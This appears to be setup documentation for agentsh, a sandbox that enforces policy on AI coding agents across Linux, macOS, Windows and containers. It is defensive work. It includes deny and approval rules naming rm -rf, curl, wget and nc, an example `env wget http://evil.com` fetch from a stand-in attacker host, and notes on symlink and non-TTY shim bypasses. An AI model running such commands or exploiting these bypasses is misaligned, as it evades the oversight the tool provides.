---
title: "Setup & Integration"
description: "Platform support, container setup, database proxy requirements, and AI assistant integration for agentsh execution-layer security."
doc_version: "1.0"
last_updated: "2026-05-29"
canonical: "https://www.agentsh.org/docs/setup/"
---

# Setup & Integration

Platform support, container setup, and integrating agentsh execution-layer security with your development environment.

## Platform Support

agentsh supports Linux, macOS, and Windows with varying levels of enforcement capability.

        [Linux Native](https://www.agentsh.org/docs/setup/#linux)

        100%

        [Windows WSL2](https://www.agentsh.org/docs/setup/#windows)

        100%

        [macOS + Lima](https://www.agentsh.org/docs/setup/#lima-inside-vm)run inside VM

        100%

        [macOS ESF+NE](https://www.agentsh.org/docs/setup/#macos)

        90%

        [Windows Native](https://www.agentsh.org/docs/setup/#windows)

        85%

### Platform Comparison

| Feature | Linux | macOS ESF | Windows |
| --- | --- | --- | --- |
| File blocking | Yes | Yes | Yes |
| Network blocking | Yes | Yes | Yes |
| Signal blocking | Yes | Audit | Audit |
| Namespace isolation | Full | None | Partial |
| Syscall filtering | Yes | Exec only | No |
| Resource limits | Full | None | Partial |

        Hosted sandbox environments

AI sandbox platforms vary widely in kernel feature exposure. Sprites, E2B, Daytona, and Blaxel support `full` mode with all enforcement layers. Others restrict FUSE mounts or seccomp user-notify, limiting enforcement to `landlock` or `minimal` modes. See the [AI sandbox platforms table](https://www.agentsh.org/docs/setup/#linux-kernel-features) below for per-platform details, or run `agentsh detect` inside the sandbox.

## Linux

100% Score Full enforcement with all features.

Linux provides the most complete security coverage:

- **File interception:** FUSE3 with blocking and policy enforcement

- **Network:** iptables with full TCP/UDP/DNS interception

- **Process isolation:** Full namespace isolation (mount, net, PID, user)

- **Syscall filtering:** seccomp-bpf with allowlists

- **Signal interception:** Full blocking and redirect via seccomp

- **Resource limits:** cgroups v2 for CPU, memory, disk I/O, network

        Requirements

Root or CAP_SYS_ADMIN for namespaces. eBPF requires kernel 5.x+ for full features.

### Kernel Features

Linux security capabilities depend on kernel version and runtime environment. Features are automatically detected at startup.

| Feature | Kernel | Notes |
| --- | --- | --- |
| seccomp user-notify | 5.0+ | Full syscall interception; may be blocked in nested containers |
| Landlock v1 | 5.13+ | Basic filesystem sandboxing |
| Landlock v2 | 5.19+ | File reparenting (REFER) |
| Landlock v3 | 6.2+ | File truncation control |
| Landlock v4 | 6.7+ | Network TCP restrictions |
| Landlock v5 | 6.10+ | IOCTL restrictions |
| eBPF (network) | 4.18+ | Requires CAP_BPF or CAP_SYS_ADMIN; v0.20.0 can use attach-only cgroups for eBPF enforcement when resource-limit cgroups are disabled. |
| FUSE | 2.6+ | Requires /dev/fuse. Mount method auto-detected: fusermount3 → new mount API (`fsopen`/`fsmount`, kernel 5.2+) → direct mount. Use `sandbox.fuse.max_background` to raise the FUSE async request queue on high-concurrency mounts. |
| seccomp-notify file enforcement | 5.9+ (5.14+ for AddFD) | File policy enforcement when FUSE and Landlock are both unavailable. See Features. |
| ptrace | 2.6+ | Requires SYS_PTRACE capability; fallback when seccomp/eBPF/FUSE unavailable |
| cgroups v2 | 4.5+ | Resource limits; requires cgroupfs mounted |
| Database proxy | Linux | Postgres-family enforcement uses per-session Unix sockets, peer-credential listener authentication, connect redirects, and direct-egress deny rules. Use native Linux, WSL2, or a Linux VM. |

#### Environment compatibility

| Environment | seccomp | Landlock | eBPF | FUSE | ptrace | Typical config |
| --- | --- | --- | --- | --- | --- | --- |
| Native Linux (root) | Yes | Yes | Yes | Yes | Yes | `full` |
| Docker (privileged) | Yes | Yes | Maybe | Yes | Yes | `full` |
| Docker (unprivileged) | Maybe | Yes | No | Maybe | Maybe | `landlock` |
| Kubernetes pod | Maybe | Yes | No | Maybe | Maybe | `landlock` |
| gVisor | No | No | No | No | Maybe | `security.mode: minimal` + `sandbox.ptrace` |
| Firecracker | No | No | No | Yes*** | Maybe | FUSE + optional `sandbox.ptrace` |
| AWS Fargate | No | Maybe | No | No | Yes | `security.mode: minimal` + `sandbox.ptrace` |

*Run `agentsh detect` to check actual capabilities in your environment. ***Firecracker supports FUSE via the new mount API (`fsopen`/`fsmount`), which does not require fusermount3.

#### AI sandbox platforms

Capabilities for hosted AI sandbox providers. Each row reflects the platform’s current kernel configuration.

| Platform | seccomp | Landlock | FUSE | ptrace | Typical config |
| --- | --- | --- | --- | --- | --- |
| Sprites (Fly.io) | Yes | Yes | Yes | Yes | `full` |
| E2B | Yes | Yes | Yes | Yes | `full` |
| Daytona | Yes | Yes | Yes | Yes | `full` |
| Blaxel | Yes | Yes | Yes | Yes | `full` |
| Cloudflare Containers | Yes | Yes | No | Maybe | `landlock` |
| Deno Deploy | Yes | Detected* | No | Maybe | `landlock-only` |
| Railway | Yes | Yes | Maybe | Maybe | `landlock` |
| Vercel Sandbox | Yes | v0 | No | Maybe | `minimal` |
| Runloop | Yes | Yes | Yes* | Maybe | `full` |
| exe.dev | Yes | Yes | Yes* | Yes | `full` |
| Modal | No | No | No | Yes | `security.mode: minimal` + `sandbox.ptrace` |

*FUSE is available via deferred activation (requires `chmod 666 /dev/fuse` at runtime). `v0` = basic Landlock (no network restrictions). Run `agentsh detect` inside the sandbox to verify.

### Platform Matrix

Binary availability and enforcement summary by architecture and libc variant. Download the appropriate archive from the [releases page](https://github.com/canyonroad/agentsh/releases).

| Platform | Enforcement | Notes |
| --- | --- | --- |
| Linux amd64 (glibc) | Full LSM, cgroup v2, Landlock, ptrace, seccomp | Standard glibc build; `agentsh_<version>_linux_amd64.tar.gz` |
| Linux arm64 (glibc) | Full LSM, cgroup v2, Landlock, ptrace, seccomp | Native ARM64 build; `agentsh_<version>_linux_arm64.tar.gz` |
| Alpine amd64 (musl) | Full same as glibc build, statically linked | musl build; `agentsh_v<version>_linux_amd64_musl.tar.gz`. See BusyBox caveat. |
| Alpine arm64 (musl) | Full same as glibc build, statically linked | musl build; `agentsh_v<version>_linux_arm64_musl.tar.gz`. See BusyBox caveat. |

### Linux ARM64

agentsh ships native ARM64 binaries for Linux with full feature parity — LSM hooks, cgroup v2, ptrace mode, and all enforcement backends work identically to the amd64 build.

#### Install

Download the arm64 tarball from the [releases page](https://github.com/canyonroad/agentsh/releases), then:

```bash
tar xzf agentsh_*_linux_arm64.tar.gz
sudo mv agentsh /usr/local/bin/
agentsh --version
```

**Use this build on:** AWS Graviton, Ampere Altra, Raspberry Pi 4/5 running 64-bit OS, Apple Silicon under Linux VMs, and any other arm64 Linux host.

**Kernel feature support.** The same kernel-feature requirements that apply to amd64 apply to arm64 — cgroup v2 (kernel 4.5+, recommended 5.0+ with unified hierarchy), Landlock (5.13+), eBPF/LSM (5.7+), and seccomp user-notify (5.0+). Run `agentsh detect` after installation to confirm available enforcement backends.

### Alpine and other musl distros

agentsh also ships statically linked musl binaries that run on Alpine Linux and other minimal distributions without glibc. The musl build has the same enforcement features as the glibc build — the difference is purely in the libc the binary links against.

#### Install on Alpine (amd64)

Download the musl amd64 tarball from the [releases page](https://github.com/canyonroad/agentsh/releases), then:

```bash
tar xzf agentsh_*_linux_amd64_musl.tar.gz
mv agentsh /usr/local/bin/
agentsh --version
```

#### Install on Alpine (arm64)

Download the musl arm64 tarball from the [releases page](https://github.com/canyonroad/agentsh/releases), then:

```bash
tar xzf agentsh_*_linux_arm64_musl.tar.gz
mv agentsh /usr/local/bin/
agentsh --version
```

#### Caveat: BusyBox utilities

Alpine ships BusyBox versions of standard Unix utilities (`ps`, `find`, `tar`, `cp`, etc.) that accept different flags than the GNU coreutils equivalents. This is not an agentsh limitation — it affects any policy that depends on specific flag behavior. If your policies use command_rules that match on specific argv patterns, test them against BusyBox before deploying to Alpine.

## macOS

macOS supports three deployment options:

#### ESF+NE (Enterprise) 90%

Uses Endpoint Security Framework for file monitoring and Network Extension for traffic interception.

- No namespace isolation (macOS limitation)

- Signal interception: audit only

#### Lima VM 100%

For full Linux-equivalent isolation on macOS, run agentsh and your AI agent harness **entirely inside** a Lima VM.

```bash
# Install Lima on macOS
brew install lima

# Create and start a VM
limactl start default

# Shell into the VM
limactl shell default

# Inside the VM - install agentsh from GitHub releases
# Download the .deb/.rpm for your distro from:
# https://github.com/canyonroad/agentsh/releases
agentsh server
```

- Full FUSE3 filesystem interception

- Full iptables network interception

- Full Linux namespace isolation

- Full seccomp-bpf syscall filtering

- Full cgroups v2 resource limits

**Trade-offs:** File I/O to macOS filesystem via virtiofs (15-30% overhead), VM uses ~200-500MB RAM, interact via SSH/shell into VM.

## Windows

#### Native 85%

Uses mini filter driver with AppContainer sandbox isolation.

- File/registry interception via kernel-mode mini filter

- Network via WinDivert (requires admin)

- Registry monitoring and blocking

- AppContainer for process isolation

- Signal interception: audit only via ETW

#### WSL2 100%

Full Linux features in Windows Subsystem for Linux.

- Same capabilities as native Linux

- No Windows registry monitoring

- Slight VM overhead

## Detecting Capabilities

`agentsh detect` probes your kernel and reports a **weighted protection score** (0–100) grouped into five domains:

| Domain | Points | Backends probed |
| --- | --- | --- |
| **File Protection** | 25 | FUSE, Landlock, seccomp-notify |
| **Command Control** | 25 | seccomp-execve, ptrace |
| **Network** | 20 | eBPF, landlock-network |
| **Resource Limits** | 15 | cgroups v2 |
| **Isolation** | 15 | PID namespace, capability drop |

Each backend is detected via **real kernel probes**, not by checking installed packages:

- **eBPF** — cgroup socket-address program probe for the same cgroup/connect path used by runtime network enforcement

- **cgroups v2** — `statfs` on cgroup mount + `cgroup.procs` readability

- **PID namespace** — `/proc/self/status` NSpid field

- **Capabilities** — `capget` + `prctl(PR_CAPBSET_READ)`

- **FUSE** — mount method detection: fusermount → new mount API (`fsopen` probe) → direct mount

When a domain scores 0, actionable tips explain what is missing and the point impact (e.g., *"Fine-grained filesystem control disabled (+25 pts)"*).

```bash
# Domain-grouped table with protection score (default)
agentsh detect

# Output as JSON for scripting
agentsh detect --output json

# Output as YAML
agentsh detect --output yaml
```

The JSON output includes per-domain active backends and a `capabilities` map so you can see which filesystem, network, command, resource, and isolation primitives are available.

#### Database proxy requirements

The database proxy starts only for policies that declare `db_services` and set `policies.db.unavoidability` to `observe` or `enforce`. It is Linux-only today: non-Linux builds keep the policy parser but do not run the Postgres proxy.

- **Unix sockets:** Per-session listeners are created under the session state directory and authenticated with Linux `SO_PEERCRED`.

- **Network interception:** Generated `connect_redirects` route declared DB destinations to the proxy socket, while generated `network_rules` deny direct egress to the upstream host and resolved IPs.

- **DNS expansion:** In `enforce` mode, startup fails closed if agentsh cannot resolve an upstream hostname into enforceable IP rules.

- **Session tracking:** The proxy verifies that incoming connections belong to the governed agent SessionID, and the proxy itself uses a separate identity for upstream egress.

#### eBPF attach-only cgroups

For network eBPF enforcement, `sandbox.cgroups.enabled: true` is no longer required unless you also need memory, CPU, or PID limits. With `sandbox.network.ebpf.enabled: true` and resource-limit cgroups disabled, agentsh looks for an attach-only cgroup path and attaches the cgroup/connect program there. Set `sandbox.network.ebpf.required: true` to fail closed if neither normal nor attach-only cgroup setup works.

#### Generating optimized configuration

Use `agentsh detect config` to generate a configuration snippet optimized for your environment:

```bash
# Print to stdout
agentsh detect config

# Write to file
agentsh detect config --output security.yaml

# Merge with your existing config
agentsh detect config >> config.yaml
```

The generated config includes `security:`, platform-specific sandbox sections such as `landlock:`, and `capabilities:` entries optimized for detected features and your kernel's available backends.

### Execve Interception

In `full` security mode, agentsh intercepts all `execve`/`execveat` syscalls via seccomp user-notify. This provides **complete execution coverage**—every binary execution goes through policy, including nested commands like `sh -c "curl ..."` that would bypass shell-level checks.

        Linux full mode only

Execve interception requires seccomp with user-notify support (Linux kernel 5.9+) and is only available in `full` security mode.

#### Key features

- **Complete coverage** — Every binary execution goes through policy, not just shell commands

- **Full audit trail** — All execve calls logged regardless of decision

- **Depth-aware policy** — Different rules for direct vs nested execution

- **Argument inspection** — Block dangerous arg patterns (e.g., `rm -rf`)

- **Approval flow** — Interactive approval with timeout (fail-secure default)

#### Configuration

```yaml
sandbox:
  seccomp:
    enabled: true
    execve:
      enabled: true              # Enable execve interception

      # Argv capture limits
      max_argc: 1000            # Max args to read
      max_argv_bytes: 65536     # Max total argv bytes
      on_truncated: deny        # deny | allow | approval

      # Approval settings
      approval_timeout: 10s
      approval_timeout_action: deny  # deny | allow

      # Internal bypass (agentsh infrastructure)
      internal_bypass:
        - /usr/local/bin/agentsh
        - /usr/local/bin/agentsh-unixwrap
```

#### Depth-aware policies

Command rules support a `context` field that enables different policies for direct (user-typed, depth 0) vs nested (script-spawned, depth 1+) commands:

| Context | Equivalent | Description |
| --- | --- | --- |
| `[direct]` | `max_depth: 0` | Only top-level commands |
| `[nested]` | `min_depth: 1` | Only nested commands |
| `[direct, nested]` | no constraint | All depths (default) |

```yaml
command_rules:
  # User can run git directly, but scripts can't
  - name: allow-git-direct
    commands: [git]
    decision: allow
    context: [direct]

  # Compilers should only run from build tools
  - name: allow-cc-nested
    commands: [gcc, clang, cc]
    decision: allow
    context:
      min_depth: 1
      max_depth: 3

  # Block dangerous rm patterns at any depth
  - name: block-dangerous-rm
    commands: [rm]
    args_patterns: ["*-rf*", "*-fr*"]
    decision: deny
    context: [direct, nested]

  # Network tools need approval when nested
  - name: approve-nested-network
    commands: [curl, wget, nc]
    decision: approve
    context: [nested]
    message: "Nested script wants to run: {{.Command}} {{.Args}}"
```

#### Path Canonicalization

All executable paths are resolved through `EvalSymlinks` before policy evaluation. This prevents symlink-based bypass attacks where an attacker creates a symlink (e.g., `/tmp/safe` → `/usr/bin/wget`) to circumvent command rules.

- **Symlink resolution** — The real path is evaluated against policy, not the symlink

- **Audit trail** — The original pre-canonicalization path is preserved as `raw_filename` in events for forensics

#### Symlink Escape Handling

Introduced in v0.20.1, `policies.symlink_escape` controls FUSE-layer workspace symlinks whose targets resolve outside the workspace root. The default, `evaluate`, resolves the target and evaluates the resolved outside path against normal `file_rules`. This keeps common layouts such as Python virtualenv links to `/usr/bin/python3` usable when those real paths are allowed.

```yaml
policies:
  symlink_escape: "evaluate"   # evaluate | deny
```

Set `symlink_escape: "deny"` to restore the historical blanket `workspace-escape` denial for symlink targets outside the workspace, regardless of matching `file_rules`. Leaf-only operations such as `stat`, `readlink`, `delete`, and `rmdir` are always checked against the symlink path itself and are unaffected by this setting.

#### Transparent Command Unwrapping

agentsh recognizes common wrapper commands and unwraps them to find the real payload. Both the wrapper and payload are evaluated against policy — the most restrictive decision wins.

For example, `env wget http://evil.com` evaluates both `env` and `wget`. Even if `env` is allowed, `wget` must also pass policy.

**Built-in transparent commands:**

| Platform | Commands |
| --- | --- |
| All | `env`, `nice`, `nohup`, `sudo`, `time`, `xargs` |
| Linux | `busybox`, `doas`, `strace`, `ltrace`, `ld-linux*` |
| Windows | `cmd.exe`, `powershell.exe`, `pwsh.exe`, `wsl.exe` |

Customize the set per policy:

```text
transparent_commands:
  add:
    - myrunner         # Custom wrappers
    - taskrunner
  remove:
    - sudo             # Don't unwrap sudo
```

Unwrap events include `unwrapped_from` and `payload_command` fields in audit logs.

#### Security model

- **Fail-secure** — Timeout on approval defaults to deny

- **Fail-secure** — Truncated argv defaults to deny

- **Tamper-proof** — Depth tracking is handler-side, not environment variables

- **Symlink-proof** — All paths resolved before policy evaluation

- **Unwrap-safe** — Wrapper + payload both evaluated; most restrictive wins

- **Complete audit** — Every execve logged, including internal bypasses

### Ptrace Mode

When seccomp user-notify, eBPF, and FUSE are all unavailable — as on **AWS Fargate**, restricted Kubernetes pods, or gVisor/Firecracker runtimes — agentsh can use Linux `ptrace` to intercept syscalls and enforce policy. Ptrace mode is **opt-in** and not auto-selected.

        Requirements

Ptrace mode requires the `SYS_PTRACE` capability and a Linux kernel. It is not available on macOS or Windows.

Enable ptrace in your configuration:

```yaml
sandbox:
  ptrace:
    enabled: true
    attach_mode: children       # "children" or "pid"
    trace:
      execve: true             # Intercept execve/execveat
      file: true               # Intercept file I/O syscalls
      network: true            # Intercept connect/bind
      signal: true             # Intercept signal syscalls
    performance:
      seccomp_prefilter: true  # BPF pre-filter for reduced overhead
      arg_level_filter: true   # Check syscall args in BPF (reduces ptrace stops)
      max_tracees: 500         # Max concurrent traced processes
      max_hold_ms: 5000        # Timeout for held syscalls (ms)
    mask_tracer_pid: off      # Only "off" is supported in this version
    on_attach_failure: fail_open  # "fail_open" or "fail_closed"
```

Ptrace settings are loaded from the YAML configuration. This build does not expose separate `AGENTSH_PTRACE_*` environment-variable overrides.

#### Attach modes

| Mode | Description | Use Case |
| --- | --- | --- |
| `children` | Trace all child processes spawned by the session | Default for most setups |
| `pid` | Attach to a specific PID (set via `target_pid` or `target_pid_file`) | Sidecar tracing of existing processes |

#### Ptrace capabilities

In ptrace mode, agentsh provides:

- **Execve interception** — policy enforcement on every binary execution

- **File I/O interception** — path resolution and policy checks on open/read/write/delete with symlink handling

- **Exit-time path verification** — defense-in-depth: after a successful `openat`, reads `/proc/<tid>/fd/<fd>` to verify the real path against policy, catching symlink bypasses that evade entry-time resolution

- **Soft-delete** — `soft_delete` policy decisions intercepted via ptrace; `unlinkat` calls are replaced with `mkdirat` + `renameat2` to move files to trash

- **vfork fast-path** — between `vfork` and `exec`, only an allowlist of async-signal-safe syscalls (close, dup3, sigaction, etc.) are fast-pathed to prevent deadlocks with Python `subprocess.run` and similar

- **Network interception** — connect/bind filtering with sockaddr parsing

- **Signal interception** — kill/tgkill/tkill intercepted with policy enforcement and signal redirect

- **DNS redirects** — in-process DNS proxy for transparent domain steering

- **TLS SNI rewrite** — rewrite Server Name Indication without breaking TLS

- **Connect redirects** — steer outbound connections to alternative endpoints

- **Syscall injection** — modify syscall arguments for exec, file path, and connect redirects

- **TracerPid masking** — hide the tracer from traced processes by intercepting `/proc/*/status` reads

        AWS Fargate, Modal & exe.dev

Ptrace mode was designed for restricted runtimes like AWS Fargate and Modal (gVisor). For Fargate, add `SYS_PTRACE` to your ECS task definition’s `linuxParameters.capabilities.add` list and use shared PID namespace (`pidMode: "task"`). For Modal, use the [secure-sandbox SDK](https://www.agentsh.org/docs/secure-sandbox/) with the Modal adapter and `modalDefaults()` which pre-configures ptrace with seccomp pre-filter disabled (not supported on gVisor). For exe.dev, use `exeDefaults()` which configures hybrid mode: ptrace for execve interception combined with seccomp file_monitor for file enforcement.

## Running Inside Containers

Containers isolate the host surface; agentsh adds **in-container runtime visibility and policy**.

- Per-operation audit (files, network, commands) shows what happened during installs/builds/tests

- Approvals and rules persist across long-lived shells and subprocess trees

- Path-level controls on mounted workspaces/caches/creds

- Same behavior on host and in containers—CI and local dev see the same policy outcomes

        **Ready-to-use examples:** Each repo below is a complete, runnable project. See [all examples](https://www.agentsh.org/examples/).

- [Blaxel](https://github.com/canyonroad/agentsh-blaxel) — agentsh in Blaxel sandboxes

- [Cloudflare Containers](https://github.com/canyonroad/agentsh-cloudflare) — agentsh in Cloudflare Firecracker VMs

- [Daytona](https://github.com/canyonroad/agentsh-daytona) — agentsh in Daytona dev environments

- [Deno Deploy](https://github.com/canyonroad/agentsh-deno) — agentsh in Deno Firecracker microVMs

- [E2B](https://github.com/canyonroad/agentsh-e2b) — agentsh in E2B sandboxes

- [exe.dev](https://github.com/canyonroad/agentsh-exe.dev) — agentsh in exe.dev VMs

- [Freestyle](https://github.com/canyonroad/agentsh-freestyle) — agentsh in Freestyle Firecracker VMs

- [Modal](https://github.com/canyonroad/agentsh-modal) — agentsh in Modal gVisor sandboxes

- [Runloop](https://github.com/canyonroad/agentsh-runloop) — agentsh in Runloop Devboxes

- [Sprites](https://github.com/canyonroad/agentsh-sprites) — agentsh in Sprites Firecracker microVMs

- [Vercel Sandbox](https://github.com/canyonroad/agentsh-vercel) — agentsh in Vercel Firecracker VMs

### Shell Shim

The shell shim replaces `/bin/sh` and `/bin/bash` so that *any* shell invocation routes through agentsh—including subprocess calls from scripts, package managers, and build tools.

```bash
agentsh shim install-shell \
  --root / \
  --shim /usr/bin/agentsh-shell-shim \
  --bash \
  --i-understand-this-modifies-the-host
```

If you want an extra safety margin, use `--bash-only` instead of `--bash` to shim only `/bin/bash` while leaving `/bin/sh` completely untouched, so orchestrators that use `sh` for data transfer never hit the shim at all. The two flags are mutually exclusive.

```bash
agentsh shim install-shell \
  --root / \
  --shim /usr/bin/agentsh-shell-shim \
  --bash-only
```

Point the shim at your server:

```dockerfile
ENV AGENTSH_SERVER=http://127.0.0.1:18080
```

Now any `/bin/sh -c ...` or `/bin/bash -lc ...` in the container routes through agentsh.

        Non-interactive stdin bypass

When stdin is not a TTY (e.g. piped data via `docker exec -i container sh -c "cat > /file" < data`), the shim execs the real shell directly to preserve binary data integrity. Policy enforcement is skipped for these non-interactive invocations. To force the shim to route through `agentsh exec` even without a TTY—useful in sandbox platforms like Blaxel or E2B where commands arrive via HTTP APIs—set `AGENTSH_SHIM_FORCE=1`.

#### Shim configuration file

For platforms where environment variables cannot be injected before shell startup (such as exe.dev), the shim reads configuration from `/etc/agentsh/shim.conf`. This file is checked with the following precedence: environment variable > config file > default.

```text
# /etc/agentsh/shim.conf
force=true      # Equivalent to AGENTSH_SHIM_FORCE=1
server=http://127.0.0.1:18080
```

Install the shim with the `--force` flag to automatically write this config:

```bash
agentsh shim install-shell \
  --root / \
  --shim /usr/bin/agentsh-shell-shim \
  --bash \
  --force \
  --i-understand-this-modifies-the-host
```

### Docker Setup

Example Dockerfile (Debian-based):

```dockerfile
FROM debian:bookworm-slim

ARG AGENTSH_REPO=canyonroad/agentsh
ARG AGENTSH_TAG=latest  # pin to a specific tag in production
ARG DEB_ARCH=amd64

RUN set -eux; \
  apt-get update; \
  apt-get install -y --no-install-recommends ca-certificates curl bash; \
  rm -rf /var/lib/apt/lists/*

RUN set -eux; \
  version="${AGENTSH_TAG#v}"; \
  deb="agentsh_${version}_linux_${DEB_ARCH}.deb"; \
  url="https://github.com/${AGENTSH_REPO}/releases/download/${AGENTSH_TAG}/${deb}"; \
  curl -fsSL -L "${url}" -o /tmp/agentsh.deb; \
  dpkg -i /tmp/agentsh.deb; \
  rm -f /tmp/agentsh.deb; \
  agentsh shim install-shell \
    --root / \
    --shim /usr/bin/agentsh-shell-shim \
    --bash \
    --i-understand-this-modifies-the-host

CMD ["/bin/sh", "-lc", "echo hello from agentsh shim"]
```

### Sidecar Pattern

**Recommended:** Run agentsh as a sidecar (or PID 1) in the same pod/service and share a workspace volume. The shim ensures every shell hop stays under policy.

```yaml
# docker-compose.yml
services:
  agentsh:
    image: agentsh:latest
    volumes:
      - workspace:/workspace
    ports:
      - "18080:18080"

  agent:
    image: your-agent:latest
    environment:
      - AGENTSH_SERVER=http://agentsh:18080
    volumes:
      - workspace:/workspace
    depends_on:
      - agentsh

volumes:
  workspace:
```

## Local Development

For local development outside containers:

```bash
# Start the server (optional if using autostart)
./bin/agentsh server --config configs/server-config.yaml

# Create a session and run a command
SID=$(./bin/agentsh session create --workspace . --json | jq -r .id)
./bin/agentsh exec "$SID" -- ls -la

# Structured output for agents
./bin/agentsh exec --output json --events summary "$SID" -- curl https://example.com
```

        Autostart

You don't need to start `agentsh server` manually. The first `agentsh exec` automatically launches a local server using the config file. Set `AGENTSH_NO_AUTO=1` to manage the server lifecycle yourself.

### Protecting Dev Tools

AI coding assistants like Claude Code, Cursor, and Codex run subprocesses, access files, and make network requests beyond what they show in their UI. Running the assistant itself through agentsh gives you visibility and policy enforcement over *all* activity, not just the displayed commands.

        Why this matters

When an AI assistant decides to "check something quickly" or "read a file for context," those operations happen silently. Without agentsh wrapping the entire process, you only see what the tool chooses to show you.

#### Wrapping your dev tool

Instead of running your AI assistant directly, launch it through agentsh:

```bash
# Create a session for your workspace
SID=$(agentsh session create --workspace . --json | jq -r .id)

# Run Claude Code through agentsh
agentsh exec "$SID" -- claude

# Or run Cursor through agentsh
agentsh exec "$SID" -- cursor .

# Or any other dev tool
agentsh exec "$SID" -- code .
```

#### What you gain

- **Full audit trail:** Every file read, network request, and subprocess is logged

- **Policy enforcement:** Block access to `~/.ssh`, `~/.aws`, and other sensitive paths even when the tool doesn't show the access

- **LLM request visibility:** See all API calls the tool makes, with DLP redaction

- **Subprocess control:** When the tool spawns `npm install` or `pip install` internally, those are governed too

        Shell alias

Add an alias for convenience: `alias claude='agentsh exec $(agentsh session create --workspace . --json | jq -r .id) -- claude'`

## AI Assistant Integration

There are two approaches to integrating agentsh with AI coding assistants: running the entire agent under agentsh, or configuring the agent to use agentsh for commands.

### Running Agents Under agentsh

For **unsupervised or autonomous agents**, run the entire agent process under agentsh. This ensures comprehensive coverage—every shell command, subprocess, and file operation is monitored and policy-enforced, even if the agent doesn't explicitly use agentsh.

```bash
# Create a session with your policy
SID=$(agentsh session create --workspace /path/to/project --policy my-policy --json | jq -r .id)

# Run Claude Code under agentsh
agentsh exec "$SID" -- claude --dangerously-skip-permissions -p "implement the feature"

# Or run other coding agents
agentsh exec "$SID" -- codex --full-auto "fix the failing tests"
agentsh exec "$SID" -- opencode -p "refactor the auth module"
agentsh exec "$SID" -- cursor-agent --print "add unit tests"
```

This approach is ideal for:

- **Headless/CI pipelines** — agents running without human oversight

- **Batch operations** — processing multiple tasks autonomously

- **Defense in depth** — policy enforcement regardless of agent behavior

        Combine with shell shim

In containerized environments, install the shell shim so that even nested shells and subprocess calls route through agentsh automatically.

#### Real-Paths Mode

By default, agentsh virtualizes the workspace under `/workspace`. With **real-paths mode**, sessions preserve the actual host directory path. This eliminates path confusion when agents reference absolute paths in their output.

```bash
# Create a session with real paths
agentsh session create --workspace /home/user/work/myproject --real-paths

# Or create a real-paths session, then wrap into it
SID=$(agentsh session create --workspace /home/user/work/myproject --real-paths --json | jq -r .id)
agentsh wrap --session "$SID" -- claude --dangerously-skip-permissions -p "implement the feature"
```

Or set it in config:

```text
sessions:
  real_paths: true
```

        When to use real-paths

Use real-paths when agents need path continuity between host and sandbox — for example, when an agent's output references file paths that humans or CI tools will consume. Outside-workspace paths still go through seccomp/policy enforcement.

### Configuring Agents to Use agentsh

For interactive development, configure your AI assistant to route commands through agentsh. This works well when running inside a container isn't practical.

        Note

For production or CI/CD environments, prefer running agents in containers with the shell shim installed.

### Claude Code

Add to your project's `CLAUDE.md`:

```bash
# Shell access

Run commands via agentsh, not directly in bash/zsh.

Syntax:
agentsh exec SESSION_ID -- COMMAND [ARGS...]

Examples:
agentsh exec my-session -- ls -la
agentsh exec my-session -- npm install
agentsh exec my-session -- go build ./...

With environment variable:
export AGENTSH_SESSION_ID=my-session
agentsh exec -- ls -la
```

### Cursor

Add to your Cursor rules:

```bash
All shell commands MUST be executed through agentsh.

Required syntax:
  agentsh exec SESSION_ID -- COMMAND [ARGS...]

The -- separator is required between session ID and command.
```

### AGENTS.md

For tools that support the AGENTS.md convention, add the same instructions to your project's `AGENTS.md` file.

## Signing & Integrity

agentsh provides two cryptographic integrity systems: **policy signing** (Ed25519) to prove policy authorship, and **audit log integrity** (HMAC chain) to detect tampering in audit logs.

### Policy Signing

Policy files can be signed with Ed25519 keys and verified against a trust store. Configure signing in your `config.yml`:

```yaml
policies:
  signing:
    trust_store: "/etc/agentsh/keys/"   # Directory of trusted public key JSON files
    mode: "enforce"                    # "enforce" | "warn" | "off" (default: "off")
```

| Field | Default | Description |
| --- | --- | --- |
| `trust_store` | — | Directory containing trusted Ed25519 public key JSON files |
| `mode` | `off` | `enforce` rejects invalid/missing signatures; `warn` logs and continues; `off` skips verification |

Generate keys and sign policies with the CLI:

```bash
# Generate Ed25519 keypair
agentsh policy keygen --output /etc/agentsh/keys/ --label "security-team"

# Sign a policy
agentsh policy sign policy.yaml --key /etc/agentsh/keys/private.key.json

# Verify a signed policy
agentsh policy verify policy.yaml --key-dir /etc/agentsh/keys/
```

        Trust store security

Private keys must be mode `0600`. In `enforce` mode, world-writable trust store directories are rejected. Keys support an `expires_at` field for time-based revocation.

For Watchtower-delivered policy pushes, configure both `policies.dir` and `policies.signing.trust_store`. agentsh verifies the pushed Ed25519 signature and content hash against the local trust store, writes `<policy_id>.yaml` and `<policy_id>.yaml.sig` atomically into the policy directory, reloads the manager, and swaps the active engine when the daemon is running. Without a policy directory or trust store, the Watchtower receipt is logged but not installed.

### Audit Log Integrity

Audit logs can be chained with HMAC signatures for tamper detection. Each entry contains a hash that depends on the previous entry, forming a cryptographic chain.

```yaml
audit:
  integrity:
    enabled: true
    algorithm: "hmac-sha256"          # or "hmac-sha512"
    key_source: "file"                # file, env, aws_kms, azure_keyvault, hashicorp_vault, gcp_kms
    key_file: "/etc/agentsh/hmac.key"
  encryption:
    enabled: true                     # AES-256-GCM encryption at rest
    key_source: "file"
    key_file: "/etc/agentsh/encrypt.key"
```

#### Key sources

| Source | Config Fields | Description |
| --- | --- | --- |
| `file` | `key_file` | Load HMAC key from a local file |
| `env` | `key_env` | Load HMAC key from an environment variable |
| `aws_kms` | `aws_kms.key_id`, `aws_kms.region`, `aws_kms.encrypted_dek_file` | AWS KMS with envelope encryption (GenerateDataKey) |
| `azure_keyvault` | `azure_keyvault.vault_url`, `azure_keyvault.key_name` | Azure Key Vault secret retrieval |
| `hashicorp_vault` | `hashicorp_vault.address`, `hashicorp_vault.auth_method`, `hashicorp_vault.secret_path` | HashiCorp Vault (token, kubernetes, approle auth) |
| `gcp_kms` | `gcp_kms.key_name`, `gcp_kms.encrypted_dek_file` | GCP Cloud KMS with envelope encryption |

Verify audit log integrity offline:

```bash
agentsh audit verify audit.jsonl --key-file /etc/agentsh/hmac.key --algorithm hmac-sha256
```

See [Observability → Audit Log Integrity](https://www.agentsh.org/docs/observability/#audit-integrity) for chain format details and verification workflows.

| Flag | Description |
| --- | --- |
| `--timeout 30s` | Command timeout |
| `--output json` | JSON structured output |
| `--stream` | Stream output as produced |
| `--pty` | Interactive PTY mode |
| `--client-timeout 30s` | HTTP client timeout for API requests (Go duration format, default: `30s`). Increase for long-running `exec` operations in slow environments. |

| Environment Variable | Description |
| --- | --- |
